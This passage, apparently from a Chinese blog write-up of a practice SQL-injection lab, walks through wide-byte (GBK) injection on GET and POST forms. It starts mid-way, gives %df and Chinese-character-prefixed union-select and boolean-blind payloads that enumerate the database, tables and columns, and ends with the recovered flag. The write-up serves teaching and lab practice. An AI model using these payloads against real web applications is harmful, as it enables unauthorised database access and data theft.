宽字节-2
7. 查询字段内容
判断flag在C_Flag字段内%df' and 1=2 union select 1,2,C_Flag from china_flag limit 0,1 -- qqq

POST注入靶场二
地址http://inject2.lab.aqlab.cn:81/Pass-16/index.php?id=1
第二题只是闭合不同
查询库名
用户名一般存在字符限制,所有这边用密码作为显错位置;%df") and 1=2 union select 1,2,database() -- qqq
得到库名widechar

查询表名
%df") and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1 -- qqq
得到表名为china_flag

查询字段名
%df") and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema = database() limit 0,1) -- qqq

7. 查询字段内容
判断flag在C_Flag字段内%df") and 1=2 union select 1,2,C_Flag from china_flag limit 0,2 -- qqq

POST注入靶场三
地址http://inject2.lab.aqlab.cn:81/Pass-17/index.php
靶场16使用的是表单post传参,%df是url编码,post不会进行url解码,这里就不能使用%df的方式,可以使用在表单内填入一个汉字的方法,getpost传参正常情况下使用的是强大统一的UTF-8,而这个网址装了GBK
GBK编码只有在遇到中文的时候才会执行,遇到英文和ascii编码是不会动的。
而UTF-8除了ascii表上面的字符每哥占一个字节,其他的那些中文汉字,韩文,泰文等等都是占三个字节,而GBK只有中文,汉字+\ =4个字节,经过GBK编码就变成了两个汉字。或') or 1=1 -- q

判断字段数
或') or 1=1 order by 3 -- q

猜库名长度
或') or length(database())=8 -- qqq

猜库名
或') or ascii(substr(database(),1,1))=1 -- qqq
依次测试得到数据库名称widechar
猜表名
或') or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>1 -- qqq
依次测试得到表名为china_flag
猜字段名
或') or (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 limit 1,1)=1 -- qqq
测试得到字段名C_Flag
猜字段内容
或') or (select ascii(substr(C_Flag,1,1))from china_flag limit 2,1)=1 -- q
测试得到flag为zKaQ-Kzj+mz

- 点赞
- 收藏
- 关注作者
评论(0)